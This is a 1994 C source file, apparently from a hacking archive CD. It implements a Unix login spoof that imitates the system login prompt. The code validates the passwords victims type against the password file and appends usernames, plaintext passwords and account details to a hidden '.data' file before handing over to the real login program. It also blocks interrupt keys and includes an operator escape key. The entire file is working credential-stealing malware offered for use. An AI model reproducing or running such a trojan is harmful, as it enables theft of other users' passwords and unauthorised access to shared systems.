home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / spoof.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  10KB  |  403 lines

  1. /* Program   : Unix login spoof
  2.    Author    : The Shining/UPi (UK Division)
  3.    Date      : Released 12/4/94
  4.    Unix Type : All unshadowed unix systems &
  5.                shadowed SUNOS systems
  6.    Note      : This file MUST be exec'd from the shell. */
  7.  
  8.  
  9. #include <stdio.h>
  10. #include <string.h>
  11. #include <signal.h>
  12. #include <pwd.h>
  13. #include <time.h>
  14. #include <utime.h>
  15.  
  16. #define OUTFILE ".data"           /* Data file to save account info into */
  17. #define LOGPATH "/usr/bin/login"  /* Path of real login program */
  18. #define DUMMYID "sync"            /* Dummy account on your system */
  19. #define DLENGTH 4                 /* Length of dummy account name */
  20.  
  21.  
  22. FILE *fp;
  23.  
  24.  
  25. /* Set up variables to store system time & date */
  26.  
  27. time_t now;
  28.  
  29. static int time_out, time_on, no_message, loop_cnt;
  30.  
  31.  
  32. /* Set up a structure to store users information */
  33.  
  34. struct loginfo {
  35.               char logname[10];
  36.               char key[9];
  37.               char *comment;
  38.               char *homedir;
  39.               char *shell;
  40.             } u;
  41.  
  42.  
  43. /* Use the unix function getpass() to read user password and
  44.    crypt() or pwdauth()  (remove it below if not SUNOS)
  45.    to validate it etc */
  46.  
  47. char *getpass(), *gethostname(), *alarm(), *sleep(),
  48.      *crypt(), *ttyname(), *pwdauth(), motd, log_date[60],
  49.      pass[14], salt[3], *tty, cons[] = " on console ",
  50.      hname[72], *ld;
  51.  
  52.  
  53. /* flag = exit status, ppid = pid shell, wait = pause length,
  54.    pwstat = holds 0 if valid password, shadow holds 1 if shadow
  55.    password system is being used, 0 otherwise. */
  56.  
  57. int flag, ppid, wait, pwstat, shadow, invalid;
  58.  
  59.  
  60. /* Declare main functions */
  61.  
  62.      void write_details(struct loginfo *);
  63.      void catch( void ), disable_interrupts( void );
  64.      void log_out( void ), get_info( void ),
  65.           invalid_login( void ), prep_str( char * );
  66.  
  67.  
  68. /* set up pointer to point to pwfile structure, and also
  69.    a pointer to the utime() structure */
  70.  
  71.  
  72. struct passwd *pwentry, *getpwnam();
  73. struct utimbuf *times;
  74.  
  75.  
  76. int main( void )
  77. {
  78. system("clear");
  79.  
  80. /* Initialise main program variables to 0, change 'loop_cnt' to 1
  81.    if you do not want the machines host name to appear with
  82.    the login prompt! (e.g. prompt is `login:` instead of
  83.    'MIT login:'  etc) */
  84.  
  85.      wait = 3;               /* Holds value for pause */
  86.       flag = 0;              /* Spoof ends if value is 1 */
  87.        loop_cnt = 0;         /* Change this to 1 if no host required */
  88.        time_out = 0;         /* Stops timer if spoof has been used */
  89.       time_on = 0;           /* Holds minutes spoof has been running */
  90.      disable_interrupts();   /* Call function to disable Interrupts */
  91.  
  92.  
  93. /* Get system time & date and store in log_date, this is
  94.    displayed when someone logs in as 'sync' */
  95.  
  96.  now = time(NULL);
  97.   strftime(log_date, 60, "Last Login: %a %h %d %H:%M:%S", localtime(&now));
  98.   strcat(log_date, cons);
  99.  ld = log_date;
  100.  
  101.  
  102. /* Get Hostname and tty name */
  103.  
  104. gethostname(hname, 64);
  105.  strcat(hname, " login: ");
  106. tty = ttyname();
  107.  
  108.  
  109. /* main routine */
  110.  
  111.   while( flag == 0 )
  112.   {
  113.        invalid = 0;        /* Holds 1 if id +/or pw are invalid */
  114.         shadow = 0;        /* 1 if shadow scheme is in operation */
  115.          no_message = 0;   /* Flag for Login Incorrect msg */
  116.         alarm(50);         /* set timer going */
  117.        get_info();         /* get user i.d. & password */
  118.  
  119.  
  120. /* Check to see if the user i.d. entered is 'sync', if it is
  121.    display system time & date, display message of the day and
  122.    then run the spoof again, insert the account of your
  123.    choice here, if its not sync, but remember to put
  124.    the length of the accounts name next to it! */
  125.  
  126.      if (strncmp(u.logname, DUMMYID, DLENGTH) == NULL) {
  127.         printf("%s\n", ld);
  128.  
  129.           if ((fp = fopen("/etc/motd", "r")) != NULL) {
  130.               while ((motd = getc(fp)) != EOF)
  131.                      putchar(motd);
  132.  
  133.               fclose(fp);
  134.           }
  135.  
  136.            printf("\n");
  137.              prep_str(u.logname);
  138.              no_message = 1;
  139.            sleep(wait);
  140.      }
  141.  
  142.  
  143. /* Check if a valid user i.d. has been input, then check to see if
  144.    the password system is shadowed or unshadowed.
  145.    If both the user i.d. & password are valid, get additional info
  146.    from the password file, and store all info in a file called .data,
  147.    then exit spoof and run real login program */
  148.  
  149.     setpwent();   /* Rewind pwfile to beign processing */
  150.  
  151.  
  152.     if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) {
  153.          invalid = 1;
  154.         flag = 0;
  155.     }
  156.     else
  157.        strncpy(salt, pwentry->pw_passwd, 2);
  158.  
  159.  
  160. /* Check for shadowed password system, in SUNOS, the field in /etc/passwd
  161.    should begin with '##', in system V it could contain an 'x', if none
  162.    of these exist, it checks that the entry = 13 chars, if less then
  163.    shadow system will probably be implemented (unless acct has been
  164.    disabled) */
  165.  
  166.  if ( invalid == 0 ) {
  167.  
  168.        if ((strcmp(salt, "##")) || (strncmp(salt, "x", 1)) == NULL)
  169.            shadow = 1;
  170.        else
  171.           if (strlen(pwentry->pw_passwd) < 13)
  172.              shadow = 1;
  173.  
  174.  
  175. /* If unshadowed, use the salt from the pwfile field & the key to
  176.    form the encrypted password which is checked against the entry
  177.    in the password file, if it matches, then all is well, if not,
  178.    spoof runs again!! */
  179.  
  180.     if ( shadow != 1 ) {
  181.  
  182.       if (strcmp(pwentry->pw_passwd, crypt(u.key, salt)) == NULL)
  183.          invalid = 0;
  184.       else
  185.          invalid = 1;
  186.     }
  187.  
  188.  
  189. /* If SUNOS Shadowing is in operation, use the pwdauth() function
  190.    to validate the password, if not SUNOS, substitute this code
  191.    with the routine I gave earlier! */
  192.  
  193.        if ( shadow == 1 ) {
  194.           if (pwstat = pwdauth(u.logname, u.key) == NULL)
  195.              invalid = 0;
  196.           else
  197.              invalid = 1;
  198.        }
  199. }
  200.  
  201.  
  202. /* If we have a valid account & password, get user info from the
  203.    pwfile & store it */
  204.  
  205.         if ( invalid == 0 ) {
  206.  
  207.            u.comment = pwentry->pw_gecos;
  208.             u.homedir = pwentry->pw_dir;
  209.            u.shell = pwentry->pw_shell;
  210.  
  211.           /* Open file to store user info */
  212.  
  213.            if ((fp = fopen(OUTFILE, "a")) == NULL)
  214.               log_out();
  215.  
  216.                write_details(&u);
  217.                 fclose(fp);
  218.                 no_message = 1;
  219.                flag = 1;
  220.         }
  221.         else
  222.            flag = 0;
  223.  
  224.         invalid_login();
  225.  
  226.     endpwent();                       /* Close pwfile */
  227.  
  228.     if (no_message == 0)
  229.        loop_cnt++;
  230.  
  231.   }                                  /* end while */
  232.  
  233. log_out();                           /* call real login program */
  234.  
  235. }
  236.  
  237.  
  238. /* Function to read user i.d. & password */
  239.  
  240. void get_info( void )
  241. {
  242.    char user[11];
  243.    unsigned int string_len;
  244.  
  245.    fflush(stdin);
  246.     prep_str(u.logname);
  247.     prep_str(u.key);
  248.    strcpy(user, "\n");
  249.  
  250.  
  251. /* Loop while some loser keeps hitting return when asked for user
  252.    i.d. and if someone hits CTRL-D to break out of spoof. Enter
  253.    a # at login to exit spoof. Uncomment the appropriate line(s)
  254.    below to customise the spoof to look like your system */
  255.  
  256.   while ((strcmp(user, "\n") == NULL) && (!feof(stdin)))
  257.   {
  258.    /* printf("Scorch Ltd SUNOS 4.1.3\n\n); */
  259.  
  260.     if (loop_cnt > 0)
  261.        strcpy(hname, "login: ");
  262.  
  263.       printf("%s", hname);
  264.       fgets(user, 9, stdin);
  265.  
  266.  
  267.    /* Back door for hacker, # at present, can be changed,
  268.       but leave \n in. */
  269.  
  270.      if (strcmp(user, "#\n") == NULL)
  271.          exit(0);
  272.  
  273.  
  274.     /* Strip \n from login i.d. */
  275.  
  276.      if (strlen(user) < 8)
  277.         string_len = strlen(user) - 1;
  278.      else
  279.         string_len = strlen(user);
  280.  
  281.      strncpy(u.logname, user, string_len);
  282.  
  283.  
  284.  
  285. /* check to see if CTRL-D has occurred because it does not
  286.    generate an interrupt like CTRL-C, but instead generates
  287.    an end-of-file on stdin */
  288.  
  289.      if (feof(stdin)) {
  290.          clearerr(stdin);
  291.         printf("\n");
  292.      }
  293.  
  294.   }
  295.  
  296.  
  297.  
  298. /* Turn off screen display & read users password */
  299.  
  300.      strncpy(u.key, getpass("Password:"), 8);
  301.  
  302. }
  303.  
  304.  
  305.  
  306. /* Function to increment the timer which holds the amount of time
  307.    the spoof has been running */
  308.  
  309. void catch( void )
  310. {
  311.   time_on++;
  312.  
  313.  
  314. /* If spoof has been running for 15 minutes, and has not
  315.    been used, stop timer and call spoof exit routine */
  316.  
  317. if ( time_out == 0 ) {
  318.    if (time_on == 15) {
  319.        printf("\n");
  320.         alarm(0);
  321.        log_out();
  322.    }
  323. }
  324.  
  325.  
  326. /* 'Touch' your tty, effectively keeping terminal idle time to 0 */
  327.  
  328.  utime(tty, times);
  329. alarm(50);
  330. }
  331.  
  332.  
  333.  
  334. /* Initialise a string with \0's */
  335.  
  336. void prep_str( char str[] )
  337. {
  338. int strl, cnt;
  339.  
  340. strl = strlen(str);
  341. for (cnt = 0; cnt != strl; cnt++)
  342.     str[cnt] = ' ';
  343. }
  344.  
  345.  
  346. /* function to catch interrupts, CTRL-C & CTRL-Z etc as
  347.    well as the timer signals */
  348.  
  349. void disable_interrupts( void )
  350. {
  351.    signal(SIGALRM, catch);
  352.     signal(SIGQUIT, SIG_IGN);
  353.      signal(SIGTERM, SIG_IGN);
  354.     signal(SIGINT, SIG_IGN);
  355.    signal(SIGTSTP, SIG_IGN);
  356. }
  357.  
  358.  
  359. /* Write the users i.d., password, personal information, homedir
  360.    and shell to a file */
  361.  
  362. void write_details(struct loginfo *sptr)
  363. {
  364.  
  365.    fprintf(fp, "%s:%s:", sptr->logname, sptr->key);
  366.     fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid);
  367.      fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir);
  368.     fprintf(fp, "%s\n", sptr->shell);
  369.    fprintf(fp, "\n");
  370. }
  371.  
  372.  
  373.  
  374. /* Display login incorrect only if the user hasn't logged on as
  375.    'sync' */
  376.  
  377. void invalid_login( void )
  378. {
  379.  
  380.          if ( flag == 1 && pwstat == 0 )
  381.             sleep(wait);
  382.  
  383.          if ( no_message == 0 )
  384.             printf("Login incorrect\n");
  385. }
  386.  
  387.  
  388. /* Displays appropriate message, exec's the real login program,
  389.    this replaces the spoof & effectively logs spoof's account off.
  390.    Note: this spoof must be exec'd from the shell to work */
  391.  
  392. void log_out( void )
  393. {
  394.   time_out = 1;
  395.  
  396.    if ( no_message == 1 ) {
  397.         sleep(1);
  398.        printf("Login incorrect\n");
  399.    }
  400.  
  401.    execl(LOGPATH, "login", (char *)0);
  402. }
  403.